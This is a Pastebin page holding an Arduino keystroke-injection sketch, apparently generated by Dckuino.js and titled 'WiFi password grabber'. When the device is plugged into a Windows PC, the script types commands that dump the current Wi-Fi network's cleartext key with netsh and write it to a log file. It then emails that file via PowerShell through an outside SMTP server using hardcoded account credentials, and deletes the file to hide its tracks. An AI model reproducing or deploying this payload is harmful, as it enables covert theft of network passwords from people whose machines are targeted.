Advertisement
Guest User

arddd

a guest
Nov 18th, 2017
375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.45 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18. Keyboard.begin();
  19.  
  20. // Wait 500ms
  21. delay(500);
  22.  
  23. // Title: WiFi password grabber
  24. // Author: Siem
  25. // Version: 4
  26. // Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
  27. delay(3000);
  28.  
  29. // --> Minimize all windows
  30. Keyboard.press(KEY_LEFT_GUI);
  31. Keyboard.press('d');
  32. Keyboard.releaseAll();
  33.  
  34. // --> Open cmd
  35. Keyboard.press(KEY_LEFT_GUI);
  36. Keyboard.press('r');
  37. Keyboard.releaseAll();
  38.  
  39. delay(500);
  40.  
  41. Keyboard.print("cmd");
  42.  
  43. typeKey(KEY_RETURN);
  44.  
  45. delay(200);
  46.  
  47. // --> Getting SSID
  48. Keyboard.print("cd \"%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=:\" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"BSSID\"') do set A=%A");
  49.  
  50. typeKey(KEY_RETURN);
  51.  
  52. Keyboard.print("set A=\"%A:~1%\"");
  53.  
  54. typeKey(KEY_RETURN);
  55.  
  56. // --> Creating A.txt
  57. Keyboard.print("netsh wlan show profiles %A% key=clear | findstr /c:\"Network type\" /c:\"Authentication\" /c:\"Key Content\" | findstr /v \"broadcast\" | findstr /v \"Radio\">>A.txt");
  58.  
  59. typeKey(KEY_RETURN);
  60.  
  61. // --> Get network type
  62. Keyboard.print("for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" A.txt') do set B=%A");
  63.  
  64. typeKey(KEY_RETURN);
  65.  
  66. // --> Get authentication
  67. Keyboard.print("for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" A.txt') do set C=%A");
  68.  
  69. typeKey(KEY_RETURN);
  70.  
  71. // --> Get password
  72. Keyboard.print("for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" A.txt') do set D=%A");
  73.  
  74. typeKey(KEY_RETURN);
  75.  
  76. // --> Delete A.txt
  77. Keyboard.print("del A.txt");
  78.  
  79. typeKey(KEY_RETURN);
  80.  
  81. // --> Create Log.txt
  82. Keyboard.print("echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt");
  83.  
  84. typeKey(KEY_RETURN);
  85.  
  86. // --> Mail Log.txt
  87. Keyboard.print("powershell");
  88.  
  89. typeKey(KEY_RETURN);
  90.  
  91. Keyboard.print("$SMTPServer = 'smtp.wp.pl'");
  92.  
  93. typeKey(KEY_RETURN);
  94.  
  95. Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
  96.  
  97. typeKey(KEY_RETURN);
  98.  
  99. Keyboard.print("$SMTPInfo.EnableSsl = $true");
  100.  
  101. typeKey(KEY_RETURN);
  102.  
  103. Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ixmarcin@wp.pl', 'haslaciniedam')");
  104.  
  105. typeKey(KEY_RETURN);
  106.  
  107. Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
  108.  
  109. typeKey(KEY_RETURN);
  110.  
  111. Keyboard.print("$ReportEmail.From = 'ixmarcin@wp.pl'");
  112.  
  113. typeKey(KEY_RETURN);
  114.  
  115. Keyboard.print("$ReportEmail.To.Add('Alal07@wp.pl')");
  116.  
  117. typeKey(KEY_RETURN);
  118.  
  119. Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
  120.  
  121. typeKey(KEY_RETURN);
  122.  
  123. Keyboard.print("$ReportEmail.Body = (Get-Content Log.txt | out-string)");
  124.  
  125. typeKey(KEY_RETURN);
  126.  
  127. Keyboard.print("$SMTPInfo.Send($ReportEmail)");
  128.  
  129. typeKey(KEY_RETURN);
  130.  
  131. delay(1000);
  132.  
  133. Keyboard.print("exit");
  134.  
  135. typeKey(KEY_RETURN);
  136.  
  137. delay(500);
  138.  
  139. // --> Delete Log.txt and exit
  140. Keyboard.print("del Log.txt & exit");
  141. Keyboard.print("del Log.txt & exit");
  142. typeKey(KEY_RETURN);
  143.  
  144. // Ending stream
  145. Keyboard.end();
  146. }
  147.  
  148. /* Unused endless loop */
  149. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement